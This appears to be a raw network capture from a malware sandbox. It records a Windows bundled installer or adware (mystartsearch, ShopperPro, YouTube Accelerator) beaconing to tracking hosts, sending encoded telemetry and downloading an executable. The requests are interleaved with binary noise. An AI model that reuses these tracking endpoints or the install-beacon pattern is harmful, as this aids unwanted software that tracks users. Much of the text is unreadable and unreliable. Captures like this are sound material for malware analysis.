3.a..s..T.....)..V.uZaO.!.....6.../.?$..L......H..*..?...a.... b.c...*
........V..........,..U"cf .lH.h<..."oy...............&._..0.....r.
.)..$...?.g.E[..a4.....%t&.)[email protected]..=..o..Wl..........
....X...7..: -w....tg3.\...!.|_;7.. . ..>e.6/.N%.F...*G....>..#.
j...4.......l\a....=..|......zPl...h....Ry.3.\\..6..i1.K...#..8g..tP..
r....mEn.K[...>4K.v.P.....z<.=Q...'z....$.....V..BN[...w.....4..
w`&.Qh..;..]..u...2'..O....89...v;BL.p.e...K0...[o..Oq...'..8..!<.Z
..].....5.[...,.d3..../`....v..k8........0.2/.1..$....O"e#'DC.([email protected]..
.)UN.!C.7.A..S..Lq......U..G...9.......H...;....o.r..g..w~........K?..
....b/k..M.."..Z....:.R..w9....uu27vl.a.}G.t.......IBZ.....w..G1....@z
... .u[...;...4.....4J../[...zXN5....V.J.......OA....Q....r.C.P!O....\
.e..n..b.....`..nc..'.&....=..lH..{.AM._..."fT.....>.J......T=.
<<< skipped >>>


GET /install.gif?bundle=mystartsearch&ptid=smt&uid=267123711_198339_B48A115F HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: log.very911.com


HTTP/1.1 404 Not Found
Server: Tengine/1.2.2
Date: Sat, 14 Feb 2015 04:00:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 671
Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
log.very911.com:8080/install.gif?bundle=mystartsearch&ptid=smt&
;uid=267123711_198339_B48A115F</td>..</tr>..<tr>..&l
t;td>Server:</td>..<td>us-pub00.v9.com</td>..<
/tr>..<tr>..<td>Date:</td>..<td>2015/02/13 
22:00:39</td>..</tr>..</table>..<hr/>Powered b
y Tengine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found.
.Server: Tengine/1.2.2..Date: Sat, 14 Feb 2015 04:00:39 GMT..Content-T
ype: text/html; charset=utf-8..Content-Length: 671..Connection: keep-a
live..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<ht
ml>..<head><title>404 Not Found</title></head&
gt;..<body bgcolor="white">..<h1>404 Not Found</h1>.
.<p>The requested URL was not found on this server. Sorry for th
e inconvenience.<br/>..Please report this message and include th
e following information to us.<br/>..Thank you very much!</p&
gt;..<table>..<tr>..<td>URL:</td>..<td&
<<< skipped >>>


GET /app/t.ashx?uid=aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGFhZDU5YzExLTcxYmYtNGZkMS04ZmNmLTRlZDZmMmU0YWVlMCwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTc1JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423886360&aff=JSsmtycl&ver=2.5.8305.1502&usid=2858020935-2156992550-3658131804 HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 5k9v3bc1-enehfzfv.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 03:59:20 GMT
Content-Type: image/gif
Content-Length: 35
Connection: keep-alive
Cache-Control: private
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
GIF89a.............,...........D..;..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277620-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



..Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...(....-.d...I..
.......g....S:..&...2.....t..........h.c.......ty.G. .T.k.>R....C..
.S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.7..G....G1....
......<..!.....=.I......S...tE.d.d.Y.......qf@I=nB........V...'...z
.]y./.......ng..VY...y.|......2.J..'.^.z....W..d........`..}i.p..f....
..-......e.U.\o.=#.p...}..H3..P.s... ocF..lY...F..."..3....J^. 4..w...
z.....y..Y....(...0t*.X....I.3......V..oK..g......f.?...._U..^.;...\.8
.......We...wv...Hx.9...9[N...z"..q.>4.R....I.f,......Xj...'.(oO.'.
F..g.....6.KZd>....v...... .p.}.$"Wrm...2,... 4.Q....c .....b...mm.
.....'P.X.p.>.-.z.........'.&.TB..`7.....V...F.O0-.^j.....b|...##..
.....q....l%.h...M.......D......B...E.4.{u.....!...:...u..:PsHf.=..Aw.
7.#Zn..yj..8...O......Q.....[.B...W.....N.X..........1.......h.FQ...P.
hj.wV.7(.!..."...o...:....4.p..sB<..~qk9].[...F<D....Nb......5..
j.}jF6...#.rQ.[........X.~%.f~.<F..<...1CN\..E....,..#.O..5.....
H....fI.....Cj.....B.VOz1.wm..x..S..^...A...(.ohJ..r......f|...Y S..T;
3...7[fT.eG..S.......0<..Ap.7.h.V#..Y..Q....G).Fi.......g.;[email protected]
.............R.7h>..va%iL{r..u......#./1..1............n.8..dNJ.d..
h........7.A.6...F....N...O<A..P.....:z........B..."7..hn..........
....$..v%!.)....KR?,........D]T)....5.7.'..2.X....e..]J'[email protected]
.D.3.vY4..{e.w}?.m'...~..-0...._ ..Qf&NO=....Xn....p.&P...4....M.r...}
.QP..}.."9.,.8.Y.......q......j../5.p.Q.l....n.q..4..j3_......,..yv[_8
[email protected]~.?..G.,!Y..[..U0.~..I..<U.G.-.....D$J.0...
<<< skipped >>>


GET /img/accelerating-videos.jpg HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=epzieoysgq4zjz4kqsejb0jl


HTTP/1.1 200 OK
Content-Type: image/jpeg
Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT
Accept-Ranges: bytes
ETag: "0d8fd638984cf1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:59:20 GMT
Content-Length: 62153
......Exif..II*.................Ducky.......P.....)hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c06
0 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM
:InstanceID="xmp.iid:C1DF3D4AC22211E2B54FF29E4590DCFE" xmpMM:DocumentI
D="xmp.did:C1DF3D4BC22211E2B54FF29E4590DCFE"> <xmpMM:DerivedFrom
 stRef:instanceID="xmp.iid:C1DF3D48C22211E2B54FF29E4590DCFE" stRef:doc
umentID="xmp.did:C1DF3D49C22211E2B54FF29E4590DCFE"/> </rdf:Descr
iption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?&g
t;....Adobe.d.........................................................
......................................................................
..................2...................................................
...........................................!..1AQ.aq....."2....BR#U...
b..3.T...W...S..u..rC.$4%6s...5.&V7.c.DdtEv'...e.Gw...................
....!1..A....Qaq."2RS...r3T.#....B..b$......4...D.EF............?...c.
.......!..A...H....\`.f...L...0.q%h.7.[{3..I....3.......wJ..x..h.;..=*
........m..P.PT..0.gi..K.Lb ....%.'..T....c....%.9.`("....`..#...Yy...
.L........Z.*.iM....V...n.*w.rb.6.......Q#... b...b.gU.?Sh}..T....
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886295&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.speedbit.com
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 200 OK
Connection: close
Date: Sat, 14 Feb 2015 03:58:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=dxonyc554zwzzaujwzq4bxyq; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...



GET /21074.ashx?e=aUlNCxxkjnQfAxEXghvnLEo/brKkfV8Y1VMaOJFqXYpxTYwWxYG9WArrnjIMl4VboUDW29 K3KaPWIh/dm2RyHf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:07 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: VrFdzF8hl0YhxnBTAuzJfUUkCKoKH1kUyoQy1dpW14zZC9rrV7pJSQ==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:07 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 15191055e43ba835d0fead01ae8401
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: VrFdzF8hl0YhxnBTAuzJfUUkC
KoKH1kUyoQy1dpW14zZC9rrV7pJSQ==......


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGuHIWxfCuVNupHivO720KFFagtWkIz2ISx9RhQzQsRLGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSrgiRxZztPW6qRWJf 8QX2AK5aTSincfOcyVOO4g8JDtm1Uc0BN5IxI= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:57 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: PagHVWy9RzNrROkZLYLBVye9HAEoKoH540PTv4WB76OKotuNfbBRhw==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGOTz1mAXFvBrPiCC4paVhd51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGB0VQjjQGElPZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKuCJHFnO09bqpFYl/7xBfYArlpNKKdx85zJU47iDwkO2bVRzQE3kjEg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:57 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: rhL4RUv7NlAu_btXoIxLelDDeuq8esBeEd2_AM7bOaX8Wx4Ya2eYHg==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilG/TyjmwB5PDLPiCC4paVhdy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: EOcdNOl-MLcjgMPIR-GaIPi8cUU6pGayenC-CrueUJWnNUUD0aHAeg==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilE89M3w jUOHhMAGkRtqR4lD3rLLdbpIg4ziRr/akiwhTFy9WhiMhHRBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLVsX5xTGf2n1NoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0A/NrfOEITMy HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:57 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: cVhSomw3l5kfNgAZtnnesdSemBr9ac5BCF83YU1Gvhui3-VJPQI0yA==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilFQ8FnfYbyw8RQC drCF7eFUmQQdPDgqNo92S527KGfc4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 2LOCX1vnnU14F2t0WSI1p7aSdwHjp67qmVXQfmAqaa8UOFIskN1P_g==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilEOTLcOqfVOXSmF904v4t2Dm/O2qbWSzQzF5mlVsbpBVmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSrgiRxZztPW6qRWJf 8QX2AK5aTSincfOcyVOO4g8JDtm1Uc0BN5IxI= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: fyVJ-lOnDQXEBAEUKblnDCIaEzHa9u9c1P8pddvdmq0rv612HcnF7A==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilEHhLicvnhfXymF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLU4a2AY8Es2IqZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2rylZq4Q1VXWsM HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:09 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Lt9OqCFCjtXUF1Z5k2QIWRnrMO4RDnjEX7UnZULUjkazEByaJ1gT2Q==
....


GET /21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERJL7ZfSEVa6OEQyD12F 1Nyjgb6v7cXpPt2nKkLkHTcAQh7fCP95dTKIvain/ mm oQ3ihp8iyABkNoF4u38LkIDxcw9tjUHd6808AiUQEulsmw3Hl6laVkU2H z7sW5Uv0iKnRIooKPoID5x5YtLWQXzTkQDbdEkq8hLuB0cJXwtOb7hYQlix0aoe2/agTRYhtk53Vn6HHwE8g4Yt1p46NH6wMvCefXXfa4AbUiuRjCdp8Ch1eJyoUxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:57 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: QUWnpo_4BSlB60KskYlaBW8uxxmM4HicWeQS_lwX63C_LoMlDGojvg==
....


GET /21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERJL7ZfSEVa6OJFqo9IL4nrDFAL52sIXt4XOSMm4SbI/lC36 lBzVeTnB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLU4a2AY8Es2IqZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2rylZq4Q1VXWsM HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:09 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Cg8Rt3Wl0qUZ2kN2bH3vKmohEMWdYBYOQLT99s5dsjt1Kb3AnAcKkQ==
....


GET /21074.ashx?e=blUJ6JGwk9IdAPCRcxLtz/a/qCoKAeVUjA5kVqVgWdD8SaNRCRsmETynsL3GEE9THxNehxSBobnl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4H9enuGnP2eRwzNptWSIT43Wq7IsWCDz4lRVRTi0pA8e K9V0GRRES2/ /pHLzwo46XiXyTIj07NCUHeR8YCF3f3amhGF4Du/GojbssuQdE1bQfHq0QVBDAqQD6wYK7JQE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtWxfnFMZ/afU2jIarPQLm1vWMx1IDzZCAiSHm/HybhFS9eA0ci2BjQD82t84QhMzI= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net

GET /21074.ashx?e=k64GogClQtXHiNdSCLSbRx1EyVQcGKtmQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB2iZCCrzprTQVjr4IQgU6/2DXhWyoO7dFSmF904v4t2Da1TGqo44pcOM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUtbrNUWUt1Lv5Kni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yz HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:00 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: WIYlDxl1WMWf8zTaeZ5DbuKRsRDjCgviQgpRNKhT1gIoiD2aVTdF_Q==
....


GET /21074.ashx?e=k64GogClQtXHiNdSCLSbRx1EyVQcGKtmQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB2iZCCrzprTQAhTD7v1xeC4SYGfoTYqXvAIcLERiDa7odyS4BuUDC9W3X2f616LHv6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tThrYBjwSzYipmDRlfy34hyc0iIiDxwuPWp0tEVr E2weBhV8LGHavKVmrhDVVdaww= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:10 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: WwtJxyk7LVelBp7rzyJ0azabcTOhY_z72jPzr86h0twwE2Uwby1V_w==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:10 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 15191055e43ba835d0fead01ae8401
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: WwtJxyk7LVelBp7rzyJ0azabc
TOhY_z72jPzr86h0twwE2Uwby1V_w==......


GET /21074.ashx?e=LCnUzM5l8JJqYAUAeKhUK86iZAPgIqyK7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6pb GEwPiedNJiuGpx ZVZ8ATxIUcsgQ wQ1V8jD1/9CkAt2EiWf 0FATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS1bF cUxn9p9TaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNAPza3zhCEzMg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:00 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: m69jIiJTgfftkBzez9Dve6TLimocfL3plzWZcW3i3uYRsk65i3eDlQ==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
